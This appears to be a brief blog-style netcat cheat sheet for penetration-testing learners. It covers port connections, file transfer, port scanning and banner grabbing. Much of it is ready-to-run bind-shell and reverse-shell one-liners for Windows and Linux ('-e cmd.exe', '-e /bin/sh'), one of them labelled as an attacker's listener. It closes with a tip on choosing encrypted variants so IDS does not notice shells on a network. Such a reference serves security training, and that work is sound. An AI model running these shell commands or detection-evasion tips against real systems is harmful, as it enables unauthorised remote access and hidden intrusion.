The amazing netcat, used for so many fantastic things. If you’re learning the basics of penetration testing look into this tool inside out.

Too:
Netcat


Connect to a TCP Port

nc -nv <IP Address> <Port>
Listen on a TCP Port

nc -lvp <port>
Connect and receive a HTTP Page

nc -nv <IP Address> 80
HEAD / HTTP/1.1
Transferring a File

nc -lvp 4444 >output.txt # Receiving End
nc -nv <IP Address> < input.txt # Sending End
Set up a Netcat Bind Shell (Windows)

nc -lvp 4444 -e cmd.exe
nc -nv <IP Address> 4444 # Connect to the shell
Set up a Netcat Bind Shell (Linux)

nc -lvp 4444 -e /bin/sh
nc -nv <IP Address> 4444 # Connect to the shell
Set up a Netcat Reverse Shell (Windows)

nc -lvp 443 # Attacker listening for connection
nc -nv <IP Address> 443 -e cmd.exe
Set up a Netcat Reverse Shell (Linux)

nc -lvp 443
nc -nv <IP Address> 443 -e /bin/sh
Netcat as a Port Scanner

nc -z <IP Address> <Port Range in abc - xyz format>
Netcat as a Banner Grabber

echo "" | nc -nv -w1 <IP Address> <Ports>
Advanced Reading
There is a ton of stuff you can do with netcat, and it’s awesome versatile tool. Saying that it’s unencrypted so often people can see what you’re sending and reviving which may cause issues when IDS suddenly sees shells flying across it’s network. Look into versions such as SBD or ncat.